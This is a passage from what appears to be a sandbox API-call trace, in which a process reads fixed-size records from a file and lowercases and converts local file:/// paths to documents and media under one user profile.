[0079.563] SetFilePointer (in: hFile=0xa0, lDistanceToMove=37888, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x9400
[0079.563] ReadFile (in: hFile=0xa0, lpBuffer=0x126ae4, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x12288c, lpOverlapped=0x0 | out: lpBuffer=0x126ae4*, lpNumberOfBytesRead=0x12288c*=0x8, lpOverlapped=0x0) returned 1
[0079.563] _memicmp (_Buf1=0x126ae4, _Buf2=0x44a6cc, _Size=0x4) returned 0
[0079.563] SetFilePointer (in: hFile=0xa0, lDistanceToMove=37888, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x9400
[0079.563] ReadFile (in: hFile=0xa0, lpBuffer=0x126ae4, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x122888, lpOverlapped=0x0 | out: lpBuffer=0x126ae4*, lpNumberOfBytesRead=0x122888*=0x100, lpOverlapped=0x0) returned 1
[0079.563] _strlwr (in: _Str="file:///C:/Users/ATVeyDl98Z/Documents/vAkUFlQ4t/PKtpGTo-.odp" | out: _Str="file:///c:/users/atveydl98z/documents/vakuflq4t/pktpgto-.odp") returned="file:///c:/users/atveydl98z/documents/vakuflq4t/pktpgto-.odp"
[0079.563] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x126b6a, cbMultiByte=-1, lpWideCharStr=0x1228e4, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/atveydl98z/documents/vakuflq4t/pktpgto-.odp") returned 61
[0079.563] SetFilePointer (in: hFile=0xa0, lDistanceToMove=38144, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x9500
[0079.563] ReadFile (in: hFile=0xa0, lpBuffer=0x126ae4, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x12288c, lpOverlapped=0x0 | out: lpBuffer=0x126ae4*, lpNumberOfBytesRead=0x12288c*=0x8, lpOverlapped=0x0) returned 1
[0079.563] _memicmp (_Buf1=0x126ae4, _Buf2=0x44a6cc, _Size=0x4) returned 0
[0079.563] SetFilePointer (in: hFile=0xa0, lDistanceToMove=38144, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x9500
[0079.563] ReadFile (in: hFile=0xa0, lpBuffer=0x126ae4, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x122888, lpOverlapped=0x0 | out: lpBuffer=0x126ae4*, lpNumberOfBytesRead=0x122888*=0x100, lpOverlapped=0x0) returned 1
[0079.563] _strlwr (in: _Str="file:///C:/Users/ATVeyDl98Z/AppData/Roaming/K5KCsxnzZ586a.mkv" | out: _Str="file:///c:/users/atveydl98z/appdata/roaming/k5kcsxnzz586a.mkv") returned="file:///c:/users/atveydl98z/appdata/roaming/k5kcsxnzz586a.mkv"
[0079.563] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x126b6a, cbMultiByte=-1, lpWideCharStr=0x1228e4, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/atveydl98z/appdata/roaming/k5kcsxnzz586a.mkv") returned 62
[0079.563] SetFilePointer (in: hFile=0xa0, lDistanceToMove=38400, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x9600
[0079.563] ReadFile (in: hFile=0xa0, lpBuffer=0x126ae4, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x12288c, lpOverlapped=0x0 | out: lpBuffer=0x126ae4*, lpNumberOfBytesRead=0x12288c*=0x8, lpOverlapped=0x0) returned 1
[0079.563] _memicmp (_Buf1=0x126ae4, _Buf2=0x44a6cc, _Size=0x4) returned 0
[0079.564] SetFilePointer (in: hFile=0xa0, lDistanceToMove=38400, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x9600
[0079.564] ReadFile (in: hFile=0xa0, lpBuffer=0x126ae4, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x122888, lpOverlapped=0x0 | out: lpBuffer=0x126ae4*, lpNumberOfBytesRead=0x122888*=0x100, lpOverlapped=0x0) returned 1
[0079.564] _strlwr (in: _Str="file:///C:/Users/ATVeyDl98Z/Videos/RtsHl9P-.flv" | out: _Str="file:///c:/users/atveydl98z/videos/rtshl9p-.flv") returned="file:///c:/users/atveydl98z/videos/rtshl9p-.flv"
[0079.564] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x126b6a, cbMultiByte=-1, lpWideCharStr=0x1228e4, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/atveydl98z/videos/rtshl9p-.flv") returned 48
[0079.564] SetFilePointer (in: hFile=0xa0, lDistanceToMove=38656, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x9700
[0079.564] ReadFile (in: hFile=0xa0, lpBuffer=0x126ae4, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x12288c, lpOverlapped=0x0 | out: lpBuffer=0x126ae4*, lpNumberOfBytesRead=0x12288c*=0x8, lpOverlapped=0x0) returned 1
[0079.564] _memicmp (_Buf1=0x126ae4, _Buf2=0x44a6cc, _Size=0x4) returned 0
[0079.564] SetFilePointer (in: hFile=0xa0, lDistanceToMove=38656, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x9700
[0079.564] ReadFile (in: hFile=0xa0, lpBuffer=0x126ae4, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x122888, lpOverlapped=0x0 | out: lpBuffer=0x126ae4*, lpNumberOfBytesRead=0x122888*=0x100, lpOverlapped=0x0) returned 1
[0079.564] _strlwr (in: _Str="file:///C:/Users/ATVeyDl98Z/Videos/aUcHwAavvK9r/pG%20VT.swf" | out: _Str="file:///c:/users/atveydl98z/videos/auchwaavvk9r/pg%20vt.swf") returned="file:///c:/users/atveydl98z/videos/auchwaavvk9r/pg%20vt.swf"
[0079.564] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x126b6a, cbMultiByte=-1, lpWideCharStr=0x1228e4, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/atveydl98z/videos/auchwaavvk9r/pg%20vt.swf") returned 60
[0079.564] SetFilePointer (in: hFile=0xa0, lDistanceToMove=38912, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x9800
[0079.564] ReadFile (in: hFile=0xa0, lpBuffer=0x126ae4, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x12288c, lpOverlapped=0x0 | out: lpBuffer=0x126ae4*, lpNumberOfBytesRead=0x12288c*=0x8, lpOverlapped=0x0) returned 1
[0079.564] _memicmp (_Buf1=0x126ae4, _Buf2=0x44a6cc, _Size=0x4) returned 0
[0079.564] SetFilePointer (in: hFile=0xa0, lDistanceToMove=38912, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x9800
[0079.564] ReadFile (in: hFile=0xa0, lpBuffer=0x126ae4, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x122888, lpOverlapped=0x0 | out: lpBuffer=0x126ae4*, lpNumberOfBytesRead=0x122888*=0x100, lpOverlapped=0x0) returned 1
[0079.564] _strlwr (in: _Str="file:///C:/Users/ATVeyDl98Z/Documents/4QaGgwK3%20alL.doc" | out: _Str="file:///c:/users/atveydl98z/documents/4qaggwk3%20all.doc") returned="file:///c:/users/atveydl98z/documents/4qaggwk3%20all.doc"
[0079.564] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x126b6a, cbMultiByte=-1, lpWideCharStr=0x1228e4, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/atveydl98z/documents/4qaggwk3%20all.doc") returned 57
[0079.564] SetFilePointer (in: hFile=0xa0, lDistanceToMove=39168, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x9900
[0079.564] ReadFile (in: hFile=0xa0, lpBuffer=0x126ae4, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x12288c, lpOverlapped=0x0 | out: lpBuffer=0x126ae4*, lpNumberOfBytesRead=0x12288c*=0x8, lpOverlapped=0x0) returned 1
[0079.564] _memicmp (_Buf1=0x126ae4, _Buf2=0x44a6cc, _Size=0x4) returned 0
[0079.564] SetFilePointer (in: hFile=0xa0, lDistanceToMove=39168, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x9900
[0079.564] ReadFile (in: hFile=0xa0, lpBuffer=0x126ae4, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x122888, lpOverlapped=0x0 | out: lpBuffer=0x126ae4*, lpNumberOfBytesRead=0x122888*=0x100, lpOverlapped=0x0) returned 1
[0079.565] _strlwr (in: _Str="file:///C:/Users/ATVeyDl98Z/Documents/YwYOXuXAwFNzGqI3r.pptx" | out: _Str="file:///c:/users/atveydl98z/documents/ywyoxuxawfnzgqi3r.pptx") returned="file:///c:/users/atveydl98z/documents/ywyoxuxawfnzgqi3r.pptx"
[0079.565] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x126b6a, cbMultiByte=-1, lpWideCharStr=0x1228e4, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/atveydl98z/documents/ywyoxuxawfnzgqi3r.pptx") returned 61
[0079.565] SetFilePointer (in: hFile=0xa0, lDistanceToMove=39424, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x9a00
[0079.565] ReadFile (in: hFile=0xa0, lpBuffer=0x126ae4, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x12288c, lpOverlapped=0x0 | out: lpBuffer=0x126ae4*, lpNumberOfBytesRead=0x12288c*=0x8, lpOverlapped=0x0) returned 1
[0079.565] _memicmp (_Buf1=0x126ae4, _Buf2=0x44a6cc, _Size=0x4) returned 0
[0079.565] SetFilePointer (in: hFile=0xa0, lDistanceToMove=39424, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x9a00
[0079.565] ReadFile (in: hFile=0xa0, lpBuffer=0x126ae4, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x122888, lpOverlapped=0x0 | out: lpBuffer=0x126ae4*, lpNumberOfBytesRead=0x122888*=0x100, lpOverlapped=0x0) returned 1
[0079.565] _strlwr (in: _Str="file:///C:/Users/ATVeyDl98Z/Documents/lIMz5V.csv" | out: _Str="file:///c:/users/atveydl98z/documents/limz5v.csv") returned="file:///c:/users/atveydl98z/documents/limz5v.csv"
[0079.565] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x126b6a, cbMultiByte=-1, lpWideCharStr=0x1228e4, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/atveydl98z/documents/limz5v.csv") returned 49
[0079.565] SetFilePointer (in: hFile=0xa0, lDistanceToMove=39680, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x9b00
[0079.565] ReadFile (in: hFile=0xa0, lpBuffer=0x126ae4, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x12288c, lpOverlapped=0x0 | out: lpBuffer=0x126ae4*, lpNumberOfBytesRead=0x12288c*=0x8, lpOverlapped=0x0) returned 1
[0079.565] _memicmp (_Buf1=0x126ae4, _Buf2=0x44a6cc, _Size=0x4) returned 0
[0079.565] SetFilePointer (in: hFile=0xa0, lDistanceToMove=39680, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x9b00
[0079.565] ReadFile (in: hFile=0xa0, lpBuffer=0x126ae4, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x122888, lpOverlapped=0x0 | out: lpBuffer=0x126ae4*, lpNumberOfBytesRead=0x122888*=0x100, lpOverlapped=0x0) returned 1
[0079.565] _strlwr (in: _Str="file:///C:/Users/ATVeyDl98Z/Desktop/O_M4tlNNQH_j6l.flv" | out: _Str="file:///c:/users/atveydl98z/desktop/o_m4tlnnqh_j6l.flv") returned="file:///c:/users/atveydl98z/desktop/o_m4tlnnqh_j6l.flv"
[0079.565] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x126b6a, cbMultiByte=-1, lpWideCharStr=0x1228e4, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/atveydl98z/desktop/o_m4tlnnqh_j6l.flv") returned 55
[0079.565] SetFilePointer (in: hFile=0xa0, lDistanceToMove=39936, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x9c00
[0079.565] ReadFile (in: hFile=0xa0, lpBuffer=0x126ae4, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x12288c, lpOverlapped=0x0 | out: lpBuffer=0x126ae4*, lpNumberOfBytesRead=0x12288c*=0x8, lpOverlapped=0x0) returned 1
[0079.565] _memicmp (_Buf1=0x126ae4, _Buf2=0x44a6cc, _Size=0x4) returned 0
[0079.565] SetFilePointer (in: hFile=0xa0, lDistanceToMove=39936, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x9c00
[0079.565] ReadFile (in: hFile=0xa0, lpBuffer=0x126ae4, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x122888, lpOverlapped=0x0 | out: lpBuffer=0x126ae4*, lpNumberOfBytesRead=0x122888*=0x100, lpOverlapped=0x0) returned 1
[0079.565] _strlwr (in: _Str="file:///C:/Users/ATVeyDl98Z/Documents/hqGdu8.xlsx" | out: _Str="file:///c:/users/atveydl98z/documents/hqgdu8.xlsx") returned="file:///c:/users/atveydl98z/documents/hqgdu8.xlsx"
[0079.566] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x126b6a, cbMultiByte=-1, lpWideCharStr=0x1228e4, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/atveydl98z/documents/hqgdu8.xlsx") returned 50
[0079.566] SetFilePointer (in: hFile=0xa0, lDistanceToMove=40192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x9d00
[0079.566] ReadFile (in: hFile=0xa0, lpBuffer=0x126ae4, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x12288c, lpOverlapped=0x0 | out: lpBuffer=0x126ae4*, lpNumberOfBytesRead=0x12288c*=0x8, lpOverlapped=0x0) returned 1
[0079.566] _memicmp (_Buf1=0x126ae4, _Buf2=0x44a6cc, _Size=0x4) returned 0
[0079.566] SetFilePointer (in: hFile=0xa0, lDistanceToMove=40192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x9d00
[0079.566] ReadFile (in: hFile=0xa0, lpBuffer=0x126ae4, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x122888, lpOverlapped=0x0 | out: lpBuffer=0x126ae4*, lpNumberOfBytesRead=0x122888*=0x100, lpOverlapped=0x0) returned 1
[0079.566] _strlwr (in: _Str="file:///C:/Users/ATVeyDl98Z/Desktop/Vfr7MWb/H8t9GaqGi.csv" | out: _Str="file:///c:/users/atveydl98z/desktop/vfr7mwb/h8t9gaqgi.csv") returned="file:///c:/users/atveydl98z/desktop/vfr7mwb/h8t9gaqgi.csv"
[0079.566] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x126b6a, cbMultiByte=-1, lpWideCharStr=0x1228e4, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/atveydl98z/desktop/vfr7mwb/h8t9gaqgi.csv") returned 58
[0079.566] SetFilePointer (in: hFile=0xa0, lDistanceToMove=40448, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x9e00
[0079.566] ReadFile (in: hFile=0xa0, lpBuffer=0x126ae4, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x12288c, lpOverlapped=0x0 | out: lpBuffer=0x126ae4*, lpNumberOfBytesRead=0x12288c*=0x8, lpOverlapped=0x0) returned 1
[0079.566] _memicmp (_Buf1=0x126ae4, _Buf2=0x44a6cc, _Size=0x4) returned 0
[0079.566] SetFilePointer (in: hFile=0xa0, lDistanceToMove=40448, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x9e00
[0079.566] ReadFile (in: hFile=0xa0, lpBuffer=0x126ae4, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x122888, lpOverlapped=0x0 | out: lpBuffer=0x126ae4*, lpNumberOfBytesRead=0x122888*=0x100, lpOverlapped=0x0) returned 1
[0079.566] _strlwr (in: _Str="file:///C:/Users/ATVeyDl98Z/Desktop/RtHnmpt4.flv" | out: _Str="file:///c:/users/atveydl98z/desktop/rthnmpt4.flv") returned="file:///c:/users/atveydl98z/desktop/rthnmpt4.flv"
[0079.566] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x126b6a, cbMultiByte=-1, lpWideCharStr=0x1228e4, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/atveydl98z/desktop/rthnmpt4.flv") returned 49
[0079.566] SetFilePointer (in: hFile=0xa0, lDistanceToMove=40704, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x9f00
[0079.566] ReadFile (in: hFile=0xa0, lpBuffer=0x126ae4, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x12288c, lpOverlapped=0x0 | out: lpBuffer=0x126ae4*, lpNumberOfBytesRead=0x12288c*=0x8, lpOverlapped=0x0) returned 1
[0079.566] _memicmp (_Buf1=0x126ae4, _Buf2=0x44a6cc, _Size=0x4) returned 0
[0079.566] SetFilePointer (in: hFile=0xa0, lDistanceToMove=40704, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x9f00
[0079.566] ReadFile (in: hFile=0xa0, lpBuffer=0x126ae4, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x122888, lpOverlapped=0x0 | out: lpBuffer=0x126ae4*, lpNumberOfBytesRead=0x122888*=0x100, lpOverlapped=0x0) returned 1
[0079.566] _strlwr (in: _Str="file:///C:/Users/ATVeyDl98Z/Desktop/KxNVh5qb%20V.xlsx" | out: _Str="file:///c:/users/atveydl98z/desktop/kxnvh5qb%20v.xlsx") returned="file:///c:/users/atveydl98z/desktop/kxnvh5qb%20v.xlsx"
[0079.566] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x126b6a, cbMultiByte=-1, lpWideCharStr=0x1228e4, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/atveydl98z/desktop/kxnvh5qb%20v.xlsx") returned 54
[0079.566] SetFilePointer (in: hFile=0xa0, lDistanceToMove=40960, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xa000
[0079.567] ReadFile (in: hFile=0xa0, lpBuffer=0x126ae4, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x12288c, lpOverlapped=0x0 | out: lpBuffer=0x126ae4*, lpNumberOfBytesRead=0x12288c*=0x8, lpOverlapped=0x0) returned 1
[0079.567] _memicmp (_Buf1=0x126ae4, _Buf2=0x44a6cc, _Size=0x4) returned 0
[0079.567] SetFilePointer (in: hFile=0xa0, lDistanceToMove=40960, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xa000
[0079.567] ReadFile (in: hFile=0xa0, lpBuffer=0x126ae4, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x122888, lpOverlapped=0x0 | out: lpBuffer=0x126ae4*, lpNumberOfBytesRead=0x122888*=0x100, lpOverlapped=0x0) returned 1
[0079.567] _strlwr (in: _Str="file:///C:/Users/ATVeyDl98Z/Documents/pZdszBVbaQD.pps" | out: _Str="file:///c:/users/atveydl98z/documents/pzdszbvbaqd.pps") returned="file:///c:/users/atveydl98z/documents/pzdszbvbaqd.pps"
[0079.567] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x126b6a, cbMultiByte=-1, lpWideCharStr=0x1228e4, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/atveydl98z/documents/pzdszbvbaqd.pps") returned 54
[0079.567] SetFilePointer (in: hFile=0xa0, lDistanceToMove=41216, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xa100
[0079.567] ReadFile (in: hFile=0xa0, lpBuffer=0x126ae4, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x12288c, lpOverlapped=0x0 | out: lpBuffer=0x126ae4*, lpNumberOfBytesRead=0x12288c*=0x8, lpOverlapped=0x0) returned 1
[0079.567] _memicmp (_Buf1=0x126ae4, _Buf2=0x44a6cc, _Size=0x4) returned 0
[0079.567] SetFilePointer (in: hFile=0xa0, lDistanceToMove=41216, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xa100
[0079.567] ReadFile (in: hFile=0xa0, lpBuffer=0x126ae4, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x122888, lpOverlapped=0x0 | out: lpBuffer=0x126ae4*, lpNumberOfBytesRead=0x122888*=0x100, lpOverlapped=0x0) returned 1
[0079.567] _strlwr (in: _Str="file:///C:/Users/ATVeyDl98Z/AppData/Roaming/IoNYe%20N-Y0yof.rtf" | out: _Str="file:///c:/users/atveydl98z/appdata/roaming/ionye%20n-y0yof.rtf") returned="file:///c:/users/atveydl98z/appdata/roaming/ionye%20n-y0yof.rtf"
[0079.567] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x126b6a, cbMultiByte=-1, lpWideCharStr=0x1228e4, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/atveydl98z/appdata/roaming/ionye%20n-y0yof.rtf") returned 64
[0079.567] SetFilePointer (in: hFile=0xa0, lDistanceToMove=41472, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xa200
[0079.567] ReadFile (in: hFile=0xa0, lpBuffer=0x126ae4, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x12288c, lpOverlapped=0x0 | out: lpBuffer=0x126ae4*, lpNumberOfBytesRead=0x12288c*=0x8, lpOverlapped=0x0) returned 1
[0079.567] _memicmp (_Buf1=0x126ae4, _Buf2=0x44a6cc, _Size=0x4) returned 0
[0079.567] SetFilePointer (in: hFile=0xa0, lDistanceToMove=41472, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xa200
[0079.567] ReadFile (in: hFile=0xa0, lpBuffer=0x126ae4, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x122888, lpOverlapped=0x0 | out: lpBuffer=0x126ae4*, lpNumberOfBytesRead=0x122888*=0x100, lpOverlapped=0x0) returned 1
[0079.567] _strlwr (in: _Str="file:///C:/Users/ATVeyDl98Z/Documents/6Fyo-5qA.pps" | out: _Str="file:///c:/users/atveydl98z/documents/6fyo-5qa.pps") returned="file:///c:/users/atveydl98z/documents/6fyo-5qa.pps"
[0079.567] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x126b6a, cbMultiByte=-1, lpWideCharStr=0x1228e4, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/atveydl98z/documents/6fyo-5qa.pps") returned 51
[0079.567] SetFilePointer (in: hFile=0xa0, lDistanceToMove=41728, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xa300
[0079.567] ReadFile (in: hFile=0xa0, lpBuffer=0x126ae4, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x12288c, lpOverlapped=0x0 | out: lpBuffer=0x126ae4*, lpNumberOfBytesRead=0x12288c*=0x8, lpOverlapped=0x0) returned 1
[0079.568] _memicmp (_Buf1=0x126ae4, _Buf2=0x44a6cc, _Size=0x4) returned 0
[0079.568] SetFilePointer (in: hFile=0xa0, lDistanceToMove=41728, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xa300
[0079.568] ReadFile (in: hFile=0xa0, lpBuffer=0x126ae4, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x122888, lpOverlapped=0x0 | out: lpBuffer=0x126ae4*, lpNumberOfBytesRead=0x122888*=0x100, lpOverlapped=0x0) returned 1
[0079.568] _strlwr (in: _Str="file:///C:/Users/ATVeyDl98Z/Pictures/EhtqO4KI.png" | out: _Str="file:///c:/users/atveydl98z/pictures/ehtqo4ki.png") returned="file:///c:/users/atveydl98z/pictures/ehtqo4ki.png"
[0079.568] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x126b6a, cbMultiByte=-1, lpWideCharStr=0x1228e4, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/atveydl98z/pictures/ehtqo4ki.png") returned 50
[0079.568] SetFilePointer (in: hFile=0xa0, lDistanceToMove=41984, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xa400
[0079.568] ReadFile (in: hFile=0xa0, lpBuffer=0x126ae4, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x12288c, lpOverlapped=0x0 | out: lpBuffer=0x126ae4*, lpNumberOfBytesRead=0x12288c*=0x8, lpOverlapped=0x0) returned 1
[0079.568] _memicmp (_Buf1=0x126ae4, _Buf2=0x44a6cc, _Size=0x4) returned 0
[0079.568] SetFilePointer (in: hFile=0xa0, lDistanceToMove=41984, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xa400
[0079.568] ReadFile (in: hFile=0xa0, lpBuffer=0x126ae4, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x122888, lpOverlapped=0x0 | out: lpBuffer=0x126ae4*, lpNumberOfBytesRead=0x122888*=0x100, lpOverlapped=0x0) returned 1
[0079.568] _strlwr (in: _Str="file:///C:/Users/ATVeyDl98Z/Documents/eB2hHNLry-lIc.csv" | out: _Str="file:///c:/users/atveydl98z/documents/eb2hhnlry-lic.csv") returned="file:///c:/users/atveydl98z/documents/eb2hhnlry-lic.csv"
[0079.568] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x126b6a, cbMultiByte=-1, lpWideCharStr=0x1228e4, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/atveydl98z/documents/eb2hhnlry-lic.csv") returned 56
[0079.568] SetFilePointer (in: hFile=0xa0, lDistanceToMove=42240, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xa500
[0079.568] ReadFile (in: hFile=0xa0, lpBuffer=0x126ae4, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x12288c, lpOverlapped=0x0 | out: lpBuffer=0x126ae4*, lpNumberOfBytesRead=0x12288c*=0x8, lpOverlapped=0x0) returned 1
[0079.568] _memicmp (_Buf1=0x126ae4, _Buf2=0x44a6cc, _Size=0x4) returned 0
[0079.568] SetFilePointer (in: hFile=0xa0, lDistanceToMove=42240, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xa500
[0079.568] ReadFile (in: hFile=0xa0, lpBuffer=0x126ae4, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x122888, lpOverlapped=0x0 | out: lpBuffer=0x126ae4*, lpNumberOfBytesRead=0x122888*=0x100, lpOverlapped=0x0) returned 1
[0079.568] _strlwr (in: _Str="file:///C:/Users/ATVeyDl98Z/Documents/vAkUFlQ4t/E5Q5miM%20%20Jr.docx" | out: _Str="file:///c:/users/atveydl98z/documents/vakuflq4t/e5q5mim%20%20jr.docx") returned="file:///c:/users/atveydl98z/documents/vakuflq4t/e5q5mim%20%20jr.docx"
[0079.568] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x126b6a, cbMultiByte=-1, lpWideCharStr=0x1228e4, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/atveydl98z/documents/vakuflq4t/e5q5mim%20%20jr.docx") returned 69
[0079.568] SetFilePointer (in: hFile=0xa0, lDistanceToMove=42496, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xa600
[0079.568] ReadFile (in: hFile=0xa0, lpBuffer=0x126ae4, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x12288c, lpOverlapped=0x0 | out: lpBuffer=0x126ae4*, lpNumberOfBytesRead=0x12288c*=0x8, lpOverlapped=0x0) returned 1
[0079.568] _memicmp (_Buf1=0x126ae4, _Buf2=0x44a6cc, _Size=0x4) returned 0
